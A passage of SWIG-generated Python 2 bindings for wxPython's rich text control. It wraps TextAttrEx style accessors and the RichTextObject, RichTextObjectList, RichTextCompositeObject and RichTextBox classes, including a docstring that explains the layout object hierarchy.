_richtext.TextAttrEx_SetFlags(*args, **kwargs)\n\n def HasTextColour(*args, **kwargs):\n \"\"\"HasTextColour(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasTextColour(*args, **kwargs)\n\n def HasBackgroundColour(*args, **kwargs):\n \"\"\"HasBackgroundColour(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasBackgroundColour(*args, **kwargs)\n\n def HasFont(*args, **kwargs):\n \"\"\"HasFont(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasFont(*args, **kwargs)\n\n def HasAlignment(*args, **kwargs):\n \"\"\"HasAlignment(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasAlignment(*args, **kwargs)\n\n def HasTabs(*args, **kwargs):\n \"\"\"HasTabs(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasTabs(*args, **kwargs)\n\n def HasLeftIndent(*args, **kwargs):\n \"\"\"HasLeftIndent(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasLeftIndent(*args, **kwargs)\n\n def HasRightIndent(*args, **kwargs):\n \"\"\"HasRightIndent(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasRightIndent(*args, **kwargs)\n\n def HasFlag(*args, **kwargs):\n \"\"\"HasFlag(self, long flag) -> bool\"\"\"\n return _richtext.TextAttrEx_HasFlag(*args, **kwargs)\n\n def GetTextColour(*args, **kwargs):\n \"\"\"GetTextColour(self) -> Colour\"\"\"\n return _richtext.TextAttrEx_GetTextColour(*args, **kwargs)\n\n def GetBackgroundColour(*args, **kwargs):\n \"\"\"GetBackgroundColour(self) -> Colour\"\"\"\n return _richtext.TextAttrEx_GetBackgroundColour(*args, **kwargs)\n\n def GetFont(*args, **kwargs):\n \"\"\"GetFont(self) -> Font\"\"\"\n return _richtext.TextAttrEx_GetFont(*args, **kwargs)\n\n def GetAlignment(*args, **kwargs):\n \"\"\"GetAlignment(self) -> int\"\"\"\n return _richtext.TextAttrEx_GetAlignment(*args, **kwargs)\n\n def GetTabs(*args, **kwargs):\n \"\"\"GetTabs(self) -> wxArrayInt\"\"\"\n return _richtext.TextAttrEx_GetTabs(*args, **kwargs)\n\n def GetLeftIndent(*args, **kwargs):\n \"\"\"GetLeftIndent(self) -> long\"\"\"\n return _richtext.TextAttrEx_GetLeftIndent(*args, **kwargs)\n\n def GetLeftSubIndent(*args, **kwargs):\n \"\"\"GetLeftSubIndent(self) -> long\"\"\"\n return _richtext.TextAttrEx_GetLeftSubIndent(*args, **kwargs)\n\n def GetRightIndent(*args, **kwargs):\n \"\"\"GetRightIndent(self) -> long\"\"\"\n return _richtext.TextAttrEx_GetRightIndent(*args, **kwargs)\n\n def GetFlags(*args, **kwargs):\n \"\"\"GetFlags(self) -> long\"\"\"\n return _richtext.TextAttrEx_GetFlags(*args, **kwargs)\n\n def SetCharacterStyleName(*args, **kwargs):\n \"\"\"SetCharacterStyleName(self, String name)\"\"\"\n return _richtext.TextAttrEx_SetCharacterStyleName(*args, **kwargs)\n\n def SetParagraphStyleName(*args, **kwargs):\n \"\"\"SetParagraphStyleName(self, String name)\"\"\"\n return _richtext.TextAttrEx_SetParagraphStyleName(*args, **kwargs)\n\n def SetListStyleName(*args, **kwargs):\n \"\"\"SetListStyleName(self, String name)\"\"\"\n return _richtext.TextAttrEx_SetListStyleName(*args, **kwargs)\n\n def SetParagraphSpacingAfter(*args, **kwargs):\n \"\"\"SetParagraphSpacingAfter(self, int spacing)\"\"\"\n return _richtext.TextAttrEx_SetParagraphSpacingAfter(*args, **kwargs)\n\n def SetParagraphSpacingBefore(*args, **kwargs):\n \"\"\"SetParagraphSpacingBefore(self, int spacing)\"\"\"\n return _richtext.TextAttrEx_SetParagraphSpacingBefore(*args, **kwargs)\n\n def SetLineSpacing(*args, **kwargs):\n \"\"\"SetLineSpacing(self, int spacing)\"\"\"\n return _richtext.TextAttrEx_SetLineSpacing(*args, **kwargs)\n\n def SetBulletStyle(*args, **kwargs):\n \"\"\"SetBulletStyle(self, int style)\"\"\"\n return _richtext.TextAttrEx_SetBulletStyle(*args, **kwargs)\n\n def SetBulletNumber(*args, **kwargs):\n \"\"\"SetBulletNumber(self, int n)\"\"\"\n return _richtext.TextAttrEx_SetBulletNumber(*args, **kwargs)\n\n def SetBulletText(*args, **kwargs):\n \"\"\"SetBulletText(self, String text)\"\"\"\n return _richtext.TextAttrEx_SetBulletText(*args, **kwargs)\n\n def SetBulletName(*args, **kwargs):\n \"\"\"SetBulletName(self, String name)\"\"\"\n return _richtext.TextAttrEx_SetBulletName(*args, **kwargs)\n\n def SetBulletFont(*args, **kwargs):\n \"\"\"SetBulletFont(self, String bulletFont)\"\"\"\n return _richtext.TextAttrEx_SetBulletFont(*args, **kwargs)\n\n def SetURL(*args, **kwargs):\n \"\"\"SetURL(self, String url)\"\"\"\n return _richtext.TextAttrEx_SetURL(*args, **kwargs)\n\n def SetPageBreak(*args, **kwargs):\n \"\"\"SetPageBreak(self, bool pageBreak=True)\"\"\"\n return _richtext.TextAttrEx_SetPageBreak(*args, **kwargs)\n\n def SetTextEffects(*args, **kwargs):\n \"\"\"SetTextEffects(self, int effects)\"\"\"\n return _richtext.TextAttrEx_SetTextEffects(*args, **kwargs)\n\n def SetTextEffectFlags(*args, **kwargs):\n \"\"\"SetTextEffectFlags(self, int effects)\"\"\"\n return _richtext.TextAttrEx_SetTextEffectFlags(*args, **kwargs)\n\n def SetOutlineLevel(*args, **kwargs):\n \"\"\"SetOutlineLevel(self, int level)\"\"\"\n return _richtext.TextAttrEx_SetOutlineLevel(*args, **kwargs)\n\n def SetFontSize(*args, **kwargs):\n \"\"\"SetFontSize(self, int pointSize)\"\"\"\n return _richtext.TextAttrEx_SetFontSize(*args, **kwargs)\n\n def SetFontStyle(*args, **kwargs):\n \"\"\"SetFontStyle(self, int fontStyle)\"\"\"\n return _richtext.TextAttrEx_SetFontStyle(*args, **kwargs)\n\n def SetFontWeight(*args, **kwargs):\n \"\"\"SetFontWeight(self, int fontWeight)\"\"\"\n return _richtext.TextAttrEx_SetFontWeight(*args, **kwargs)\n\n def SetFontFaceName(*args, **kwargs):\n \"\"\"SetFontFaceName(self, String faceName)\"\"\"\n return _richtext.TextAttrEx_SetFontFaceName(*args, **kwargs)\n\n def SetFontUnderlined(*args, **kwargs):\n \"\"\"SetFontUnderlined(self, bool underlined)\"\"\"\n return _richtext.TextAttrEx_SetFontUnderlined(*args, **kwargs)\n\n def GetCharacterStyleName(*args, **kwargs):\n \"\"\"GetCharacterStyleName(self) -> String\"\"\"\n return _richtext.TextAttrEx_GetCharacterStyleName(*args, **kwargs)\n\n def GetParagraphStyleName(*args, **kwargs):\n \"\"\"GetParagraphStyleName(self) -> String\"\"\"\n return _richtext.TextAttrEx_GetParagraphStyleName(*args, **kwargs)\n\n def GetListStyleName(*args, **kwargs):\n \"\"\"GetListStyleName(self) -> String\"\"\"\n return _richtext.TextAttrEx_GetListStyleName(*args, **kwargs)\n\n def GetParagraphSpacingAfter(*args, **kwargs):\n \"\"\"GetParagraphSpacingAfter(self) -> int\"\"\"\n return _richtext.TextAttrEx_GetParagraphSpacingAfter(*args, **kwargs)\n\n def GetParagraphSpacingBefore(*args, **kwargs):\n \"\"\"GetParagraphSpacingBefore(self) -> int\"\"\"\n return _richtext.TextAttrEx_GetParagraphSpacingBefore(*args, **kwargs)\n\n def GetLineSpacing(*args, **kwargs):\n \"\"\"GetLineSpacing(self) -> int\"\"\"\n return _richtext.TextAttrEx_GetLineSpacing(*args, **kwargs)\n\n def GetBulletStyle(*args, **kwargs):\n \"\"\"GetBulletStyle(self) -> int\"\"\"\n return _richtext.TextAttrEx_GetBulletStyle(*args, **kwargs)\n\n def GetBulletNumber(*args, **kwargs):\n \"\"\"GetBulletNumber(self) -> int\"\"\"\n return _richtext.TextAttrEx_GetBulletNumber(*args, **kwargs)\n\n def GetBulletText(*args, **kwargs):\n \"\"\"GetBulletText(self) -> String\"\"\"\n return _richtext.TextAttrEx_GetBulletText(*args, **kwargs)\n\n def GetBulletName(*args, **kwargs):\n \"\"\"GetBulletName(self) -> String\"\"\"\n return _richtext.TextAttrEx_GetBulletName(*args, **kwargs)\n\n def GetBulletFont(*args, **kwargs):\n \"\"\"GetBulletFont(self) -> String\"\"\"\n return _richtext.TextAttrEx_GetBulletFont(*args, **kwargs)\n\n def GetURL(*args, **kwargs):\n \"\"\"GetURL(self) -> String\"\"\"\n return _richtext.TextAttrEx_GetURL(*args, **kwargs)\n\n def GetTextEffects(*args, **kwargs):\n \"\"\"GetTextEffects(self) -> int\"\"\"\n return _richtext.TextAttrEx_GetTextEffects(*args, **kwargs)\n\n def GetTextEffectFlags(*args, **kwargs):\n \"\"\"GetTextEffectFlags(self) -> int\"\"\"\n return _richtext.TextAttrEx_GetTextEffectFlags(*args, **kwargs)\n\n def GetOutlineLevel(*args, **kwargs):\n \"\"\"GetOutlineLevel(self) -> int\"\"\"\n return _richtext.TextAttrEx_GetOutlineLevel(*args, **kwargs)\n\n def HasFontWeight(*args, **kwargs):\n \"\"\"HasFontWeight(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasFontWeight(*args, **kwargs)\n\n def HasFontSize(*args, **kwargs):\n \"\"\"HasFontSize(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasFontSize(*args, **kwargs)\n\n def HasFontItalic(*args, **kwargs):\n \"\"\"HasFontItalic(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasFontItalic(*args, **kwargs)\n\n def HasFontUnderlined(*args, **kwargs):\n \"\"\"HasFontUnderlined(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasFontUnderlined(*args, **kwargs)\n\n def HasFontFaceName(*args, **kwargs):\n \"\"\"HasFontFaceName(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasFontFaceName(*args, **kwargs)\n\n def HasParagraphSpacingAfter(*args, **kwargs):\n \"\"\"HasParagraphSpacingAfter(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasParagraphSpacingAfter(*args, **kwargs)\n\n def HasParagraphSpacingBefore(*args, **kwargs):\n \"\"\"HasParagraphSpacingBefore(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasParagraphSpacingBefore(*args, **kwargs)\n\n def HasLineSpacing(*args, **kwargs):\n \"\"\"HasLineSpacing(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasLineSpacing(*args, **kwargs)\n\n def HasCharacterStyleName(*args, **kwargs):\n \"\"\"HasCharacterStyleName(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasCharacterStyleName(*args, **kwargs)\n\n def HasParagraphStyleName(*args, **kwargs):\n \"\"\"HasParagraphStyleName(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasParagraphStyleName(*args, **kwargs)\n\n def HasListStyleName(*args, **kwargs):\n \"\"\"HasListStyleName(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasListStyleName(*args, **kwargs)\n\n def HasBulletStyle(*args, **kwargs):\n \"\"\"HasBulletStyle(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasBulletStyle(*args, **kwargs)\n\n def HasBulletNumber(*args, **kwargs):\n \"\"\"HasBulletNumber(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasBulletNumber(*args, **kwargs)\n\n def HasBulletText(*args, **kwargs):\n \"\"\"HasBulletText(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasBulletText(*args, **kwargs)\n\n def HasBulletName(*args, **kwargs):\n \"\"\"HasBulletName(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasBulletName(*args, **kwargs)\n\n def HasURL(*args, **kwargs):\n \"\"\"HasURL(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasURL(*args, **kwargs)\n\n def HasPageBreak(*args, **kwargs):\n \"\"\"HasPageBreak(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasPageBreak(*args, **kwargs)\n\n def HasTextEffects(*args, **kwargs):\n \"\"\"HasTextEffects(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasTextEffects(*args, **kwargs)\n\n def HasTextEffect(*args, **kwargs):\n \"\"\"HasTextEffect(self, int effect) -> bool\"\"\"\n return _richtext.TextAttrEx_HasTextEffect(*args, **kwargs)\n\n def HasOutlineLevel(*args, **kwargs):\n \"\"\"HasOutlineLevel(self) -> bool\"\"\"\n return _richtext.TextAttrEx_HasOutlineLevel(*args, **kwargs)\n\n def IsCharacterStyle(*args, **kwargs):\n \"\"\"IsCharacterStyle(self) -> bool\"\"\"\n return _richtext.TextAttrEx_IsCharacterStyle(*args, **kwargs)\n\n def IsParagraphStyle(*args, **kwargs):\n \"\"\"IsParagraphStyle(self) -> bool\"\"\"\n return _richtext.TextAttrEx_IsParagraphStyle(*args, **kwargs)\n\n def IsDefault(*args, **kwargs):\n \"\"\"IsDefault(self) -> bool\"\"\"\n return _richtext.TextAttrEx_IsDefault(*args, **kwargs)\n\n def CombineEx(*args, **kwargs):\n \"\"\"CombineEx(TextAttrEx attr, TextAttrEx attrDef, RichTextCtrl text) -> TextAttrEx\"\"\"\n return _richtext.TextAttrEx_CombineEx(*args, **kwargs)\n\n CombineEx = staticmethod(CombineEx)\n Alignment = property(GetAlignment,SetAlignment) \n BackgroundColour = property(GetBackgroundColour,SetBackgroundColour) \n Flags = property(GetFlags,SetFlags) \n Font = property(GetFont,SetFont) \n LeftIndent = property(GetLeftIndent,SetLeftIndent) \n LeftSubIndent = property(GetLeftSubIndent) \n RightIndent = property(GetRightIndent,SetRightIndent) \n Tabs = property(GetTabs,SetTabs) \n TextColour = property(GetTextColour,SetTextColour) \n CharacterStyleName = property(GetCharacterStyleName,SetCharacterStyleName) \n ParagraphStyleName = property(GetParagraphStyleName,SetParagraphStyleName) \n ListStyleName = property(GetListStyleName,SetListStyleName) \n ParagraphSpacingAfter = property(GetParagraphSpacingAfter,SetParagraphSpacingAfter) \n ParagraphSpacingBefore = property(GetParagraphSpacingBefore,SetParagraphSpacingBefore) \n LineSpacing = property(GetLineSpacing,SetLineSpacing) \n BulletStyle = property(GetBulletStyle,SetBulletStyle) \n BulletNumber = property(GetBulletNumber,SetBulletNumber) \n BulletText = property(GetBulletText,SetBulletText) \n BulletName = property(GetBulletName,SetBulletName) \n BulletFont = property(GetBulletFont,SetBulletFont) \n URL = property(GetURL,SetURL) \n TextEffects = property(GetTextEffects,SetTextEffects) \n TextEffectFlags = property(GetTextEffectFlags,SetTextEffectFlags) \n OutlineLevel = property(GetOutlineLevel,SetOutlineLevel) \n_richtext.TextAttrEx_swigregister(TextAttrEx)\ncvar = _richtext.cvar\nRICHTEXT_ALL = cvar.RICHTEXT_ALL\nRICHTEXT_NONE = cvar.RICHTEXT_NONE\n\ndef TextAttrEx_CombineEx(*args, **kwargs):\n \"\"\"TextAttrEx_CombineEx(TextAttrEx attr, TextAttrEx attrDef, RichTextCtrl text) -> TextAttrEx\"\"\"\n return _richtext.TextAttrEx_CombineEx(*args, **kwargs)\n\n# an alias for compatibility\nRichTextAttr = TextAttrEx\n\nclass RichTextObject(_core.Object):\n \"\"\"\n This is the base class for all drawable objects in a `RichTextCtrl`.\n\n The data displayed in a `RichTextCtrl` is handled by `RichTextBuffer`,\n and a `RichTextCtrl` always has one such buffer.\n\n The content is represented by a hierarchy of objects, all derived from\n `RichTextObject`. An object might be an image, a fragment of text, a\n paragraph, or a whole buffer. Objects store a an attribute object\n containing style information; a paragraph object can contain both\n paragraph and character information, but content objects such as text\n can only store character information. The final style displayed in the\n control or in a printout is a combination of base style, paragraph\n style and content (character) style.\n\n The top of the hierarchy is the buffer, a kind of\n `RichTextParagraphLayoutBox`. containing further `RichTextParagraph`\n objects, each of which can include text, images and potentially other\n types of objects.\n\n Each object maintains a range (start and end position) measured from\n the start of the main parent object.\n\n When Layout is called on an object, it is given a size which the\n object must limit itself to, or one or more flexible directions\n (vertical or horizontal). So, for example, a centred paragraph is\n given the page width to play with (minus any margins), but can extend\n indefinitely in the vertical direction. The implementation of Layout\n caches the calculated size and position.\n\n When the buffer is modified, a range is invalidated (marked as\n requiring layout), so that only the minimum amount of layout is\n performed.\n\n A paragraph of pure text with the same style contains just one further\n object, a `RichTextPlainText` object. When styling is applied to part\n of this object, the object is decomposed into separate objects, one\n object for each different character style. So each object within a\n paragraph always has just one attribute object to denote its character\n style. Of course, this can lead to fragmentation after a lot of edit\n operations, potentially leading to several objects with the same style\n where just one would do. So a Defragment function is called when\n updating the control's display, to ensure that the minimum number of\n objects is used.\n\n To implement your own RichTextObjects in Python you must derive a\n class from `PyRichTextObject`, which has been instrumented to forward\n the virtual C++ method calls to the Python methods in the derived\n class. (This class hasn't been implemented yet!)\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _richtext.delete_RichTextObject\n __del__ = lambda self : None;\n def Draw(*args, **kwargs):\n \"\"\"\n Draw(self, DC dc, RichTextRange range, RichTextRange selectionRange, \n Rect rect, int descent, int style) -> bool\n \"\"\"\n return _richtext.RichTextObject_Draw(*args, **kwargs)\n\n def Layout(*args, **kwargs):\n \"\"\"Layout(self, DC dc, Rect rect, int style) -> bool\"\"\"\n return _richtext.RichTextObject_Layout(*args, **kwargs)\n\n def HitTest(*args, **kwargs):\n \"\"\"HitTest(self, DC dc, Point pt, long OUTPUT) -> int\"\"\"\n return _richtext.RichTextObject_HitTest(*args, **kwargs)\n\n def FindPosition(*args, **kwargs):\n \"\"\"FindPosition(self, DC dc, long index, Point OUTPUT, int OUTPUT, bool forceLineStart) -> bool\"\"\"\n return _richtext.RichTextObject_FindPosition(*args, **kwargs)\n\n def GetBestSize(*args, **kwargs):\n \"\"\"GetBestSize(self) -> Size\"\"\"\n return _richtext.RichTextObject_GetBestSize(*args, **kwargs)\n\n def GetRangeSize(*args, **kwargs):\n \"\"\"\n GetRangeSize(self, RichTextRange range, Size OUTPUT, int OUTPUT, DC dc, \n int flags, Point position=wxPoint(0,0)) -> bool\n \"\"\"\n return _richtext.RichTextObject_GetRangeSize(*args, **kwargs)\n\n def DoSplit(*args, **kwargs):\n \"\"\"DoSplit(self, long pos) -> RichTextObject\"\"\"\n return _richtext.RichTextObject_DoSplit(*args, **kwargs)\n\n def CalculateRange(*args, **kwargs):\n \"\"\"CalculateRange(self, long start, long OUTPUT)\"\"\"\n return _richtext.RichTextObject_CalculateRange(*args, **kwargs)\n\n def DeleteRange(*args, **kwargs):\n \"\"\"DeleteRange(self, RichTextRange range) -> bool\"\"\"\n return _richtext.RichTextObject_DeleteRange(*args, **kwargs)\n\n def IsEmpty(*args, **kwargs):\n \"\"\"IsEmpty(self) -> bool\"\"\"\n return _richtext.RichTextObject_IsEmpty(*args, **kwargs)\n\n def GetTextForRange(*args, **kwargs):\n \"\"\"GetTextForRange(self, RichTextRange range) -> String\"\"\"\n return _richtext.RichTextObject_GetTextForRange(*args, **kwargs)\n\n def CanMerge(*args, **kwargs):\n \"\"\"CanMerge(self, RichTextObject object) -> bool\"\"\"\n return _richtext.RichTextObject_CanMerge(*args, **kwargs)\n\n def Merge(self, obj):\n \"\"\"Merge(self, RichTextObject object) -> bool\"\"\"\n val = _richtext.RichTextObject_Merge(self, obj)\n if val:\n obj.this.own(True)\n return val\n\n\n def Dump(*args, **kwargs):\n \"\"\"Dump(self) -> String\"\"\"\n return _richtext.RichTextObject_Dump(*args, **kwargs)\n\n def GetCachedSize(*args, **kwargs):\n \"\"\"GetCachedSize(self) -> Size\"\"\"\n return _richtext.RichTextObject_GetCachedSize(*args, **kwargs)\n\n def SetCachedSize(*args, **kwargs):\n \"\"\"SetCachedSize(self, Size sz)\"\"\"\n return _richtext.RichTextObject_SetCachedSize(*args, **kwargs)\n\n CachedSize = property(GetCachedSize,SetCachedSize) \n def GetPosition(*args, **kwargs):\n \"\"\"GetPosition(self) -> Point\"\"\"\n return _richtext.RichTextObject_GetPosition(*args, **kwargs)\n\n def SetPosition(*args, **kwargs):\n \"\"\"SetPosition(self, Point pos)\"\"\"\n return _richtext.RichTextObject_SetPosition(*args, **kwargs)\n\n Position = property(GetPosition,SetPosition) \n def GetRect(*args, **kwargs):\n \"\"\"GetRect(self) -> Rect\"\"\"\n return _richtext.RichTextObject_GetRect(*args, **kwargs)\n\n Rect = property(GetRect) \n def SetRange(*args, **kwargs):\n \"\"\"SetRange(self, RichTextRange range)\"\"\"\n return _richtext.RichTextObject_SetRange(*args, **kwargs)\n\n def GetRange(*args, **kwargs):\n \"\"\"GetRange(self) -> RichTextRange\"\"\"\n return _richtext.RichTextObject_GetRange(*args, **kwargs)\n\n Range = property(GetRange,SetRange) \n def GetDirty(*args, **kwargs):\n \"\"\"GetDirty(self) -> bool\"\"\"\n return _richtext.RichTextObject_GetDirty(*args, **kwargs)\n\n def SetDirty(*args, **kwargs):\n \"\"\"SetDirty(self, bool dirty)\"\"\"\n return _richtext.RichTextObject_SetDirty(*args, **kwargs)\n\n Dirty = property(GetDirty,SetDirty) \n def IsComposite(*args, **kwargs):\n \"\"\"IsComposite(self) -> bool\"\"\"\n return _richtext.RichTextObject_IsComposite(*args, **kwargs)\n\n def GetParent(*args, **kwargs):\n \"\"\"GetParent(self) -> RichTextObject\"\"\"\n return _richtext.RichTextObject_GetParent(*args, **kwargs)\n\n def SetParent(*args, **kwargs):\n \"\"\"SetParent(self, RichTextObject parent)\"\"\"\n return _richtext.RichTextObject_SetParent(*args, **kwargs)\n\n Parent = property(GetParent,SetParent) \n def SetSameMargins(*args, **kwargs):\n \"\"\"SetSameMargins(self, int margin)\"\"\"\n return _richtext.RichTextObject_SetSameMargins(*args, **kwargs)\n\n def SetMargins(*args, **kwargs):\n \"\"\"SetMargins(self, int leftMargin, int rightMargin, int topMargin, int bottomMargin)\"\"\"\n return _richtext.RichTextObject_SetMargins(*args, **kwargs)\n\n def GetLeftMargin(*args, **kwargs):\n \"\"\"GetLeftMargin(self) -> int\"\"\"\n return _richtext.RichTextObject_GetLeftMargin(*args, **kwargs)\n\n def GetRightMargin(*args, **kwargs):\n \"\"\"GetRightMargin(self) -> int\"\"\"\n return _richtext.RichTextObject_GetRightMargin(*args, **kwargs)\n\n def GetTopMargin(*args, **kwargs):\n \"\"\"GetTopMargin(self) -> int\"\"\"\n return _richtext.RichTextObject_GetTopMargin(*args, **kwargs)\n\n def GetBottomMargin(*args, **kwargs):\n \"\"\"GetBottomMargin(self) -> int\"\"\"\n return _richtext.RichTextObject_GetBottomMargin(*args, **kwargs)\n\n def SetAttributes(*args, **kwargs):\n \"\"\"SetAttributes(self, TextAttrEx attr)\"\"\"\n return _richtext.RichTextObject_SetAttributes(*args, **kwargs)\n\n def GetAttributes(*args, **kwargs):\n \"\"\"GetAttributes(self) -> TextAttrEx\"\"\"\n return _richtext.RichTextObject_GetAttributes(*args, **kwargs)\n\n Attributes = property(GetAttributes,SetAttributes) \n def SetDescent(*args, **kwargs):\n \"\"\"SetDescent(self, int descent)\"\"\"\n return _richtext.RichTextObject_SetDescent(*args, **kwargs)\n\n def GetDescent(*args, **kwargs):\n \"\"\"GetDescent(self) -> int\"\"\"\n return _richtext.RichTextObject_GetDescent(*args, **kwargs)\n\n Descent = property(GetDescent,SetDescent) \n def GetBuffer(*args, **kwargs):\n \"\"\"GetBuffer(self) -> RichTextBuffer\"\"\"\n return _richtext.RichTextObject_GetBuffer(*args, **kwargs)\n\n def Clone(*args, **kwargs):\n \"\"\"Clone(self) -> RichTextObject\"\"\"\n return _richtext.RichTextObject_Clone(*args, **kwargs)\n\n def Copy(*args, **kwargs):\n \"\"\"Copy(self, RichTextObject obj)\"\"\"\n return _richtext.RichTextObject_Copy(*args, **kwargs)\n\n def Reference(*args, **kwargs):\n \"\"\"Reference(self)\"\"\"\n return _richtext.RichTextObject_Reference(*args, **kwargs)\n\n def Dereference(*args, **kwargs):\n \"\"\"Dereference(self)\"\"\"\n return _richtext.RichTextObject_Dereference(*args, **kwargs)\n\n def ConvertTenthsMMToPixelsDC(*args, **kwargs):\n \"\"\"ConvertTenthsMMToPixelsDC(self, DC dc, int units) -> int\"\"\"\n return _richtext.RichTextObject_ConvertTenthsMMToPixelsDC(*args, **kwargs)\n\n def ConvertTenthsMMToPixels(*args, **kwargs):\n \"\"\"ConvertTenthsMMToPixels(int ppi, int units) -> int\"\"\"\n return _richtext.RichTextObject_ConvertTenthsMMToPixels(*args, **kwargs)\n\n ConvertTenthsMMToPixels = staticmethod(ConvertTenthsMMToPixels)\n_richtext.RichTextObject_swigregister(RichTextObject)\n\ndef RichTextObject_ConvertTenthsMMToPixels(*args, **kwargs):\n \"\"\"RichTextObject_ConvertTenthsMMToPixels(int ppi, int units) -> int\"\"\"\n return _richtext.RichTextObject_ConvertTenthsMMToPixels(*args, **kwargs)\n\nclass RichTextObjectList_iterator(object):\n \"\"\"This class serves as an iterator for a wxRichTextObjectList object.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _richtext.delete_RichTextObjectList_iterator\n __del__ = lambda self : None;\n def next(*args, **kwargs):\n \"\"\"next(self) -> RichTextObject\"\"\"\n return _richtext.RichTextObjectList_iterator_next(*args, **kwargs)\n\n_richtext.RichTextObjectList_iterator_swigregister(RichTextObjectList_iterator)\n\nclass RichTextObjectList(object):\n \"\"\"\n This class wraps a wxList-based class and gives it a Python\n sequence-like interface. Sequence operations supported are length,\n index access and iteration.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _richtext.delete_RichTextObjectList\n __del__ = lambda self : None;\n def __len__(*args, **kwargs):\n \"\"\"__len__(self) -> size_t\"\"\"\n return _richtext.RichTextObjectList___len__(*args, **kwargs)\n\n def __getitem__(*args, **kwargs):\n \"\"\"__getitem__(self, size_t index) -> RichTextObject\"\"\"\n return _richtext.RichTextObjectList___getitem__(*args, **kwargs)\n\n def __contains__(*args, **kwargs):\n \"\"\"__contains__(self, RichTextObject obj) -> bool\"\"\"\n return _richtext.RichTextObjectList___contains__(*args, **kwargs)\n\n def __iter__(*args, **kwargs):\n \"\"\"__iter__(self) -> RichTextObjectList_iterator\"\"\"\n return _richtext.RichTextObjectList___iter__(*args, **kwargs)\n\n def index(*args, **kwargs):\n \"\"\"index(self, RichTextObject obj) -> int\"\"\"\n return _richtext.RichTextObjectList_index(*args, **kwargs)\n\n def __repr__(self):\n return \"wxRichTextObjectList: \" + repr(list(self))\n\n_richtext.RichTextObjectList_swigregister(RichTextObjectList)\n\nclass RichTextCompositeObject(RichTextObject):\n \"\"\"Objects of this class can contain other rich text objects.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _richtext.delete_RichTextCompositeObject\n __del__ = lambda self : None;\n def GetChildren(*args, **kwargs):\n \"\"\"GetChildren(self) -> RichTextObjectList\"\"\"\n return _richtext.RichTextCompositeObject_GetChildren(*args, **kwargs)\n\n def GetChildCount(*args, **kwargs):\n \"\"\"GetChildCount(self) -> size_t\"\"\"\n return _richtext.RichTextCompositeObject_GetChildCount(*args, **kwargs)\n\n def GetChild(*args, **kwargs):\n \"\"\"GetChild(self, size_t n) -> RichTextObject\"\"\"\n return _richtext.RichTextCompositeObject_GetChild(*args, **kwargs)\n\n def Copy(*args, **kwargs):\n \"\"\"Copy(self, RichTextCompositeObject obj)\"\"\"\n return _richtext.RichTextCompositeObject_Copy(*args, **kwargs)\n\n def AppendChild(*args, **kwargs):\n \"\"\"AppendChild(self, RichTextObject child) -> size_t\"\"\"\n return _richtext.RichTextCompositeObject_AppendChild(*args, **kwargs)\n\n def InsertChild(*args, **kwargs):\n \"\"\"InsertChild(self, RichTextObject child, RichTextObject inFrontOf) -> bool\"\"\"\n return _richtext.RichTextCompositeObject_InsertChild(*args, **kwargs)\n\n def RemoveChild(self, child, deleteChild=False):\n val = _richtext.RichTextCompositeObject_RemoveChild(self, child, deleteChild)\n self.this.own(not deleteChild)\n return val\n\n\n def DeleteChildren(*args, **kwargs):\n \"\"\"DeleteChildren(self) -> bool\"\"\"\n return _richtext.RichTextCompositeObject_DeleteChildren(*args, **kwargs)\n\n def Defragment(*args, **kwargs):\n \"\"\"Defragment(self) -> bool\"\"\"\n return _richtext.RichTextCompositeObject_Defragment(*args, **kwargs)\n\n_richtext.RichTextCompositeObject_swigregister(RichTextCompositeObject)\n\nclass RichTextBox(RichTextCompositeObject):\n \"\"\"This defines a 2D space to lay out objects.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, RichTextObject parent=None) -> RichTextBox\n\n This defines a 2D space to lay out objects.\n \"\"\"\n _richtext.RichTextBox_swiginit(self,_richtext.new_RichTextBox(*args, **kwargs))\n def Copy(*args, **kwargs):\n \"\"\"Copy(self, RichTextBox obj)\"\"\"\n return _richtext.RichTextBox_Copy(*args, **kwargs)\n\n_richtext.RichTextBox_swigregister(RichTextBox)\n\nclass RichTextParagraphLayoutBox(RichTextBox):\n \"\"\"Proxy of C++ RichTextParagraphLayoutBox class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, RichTextObject 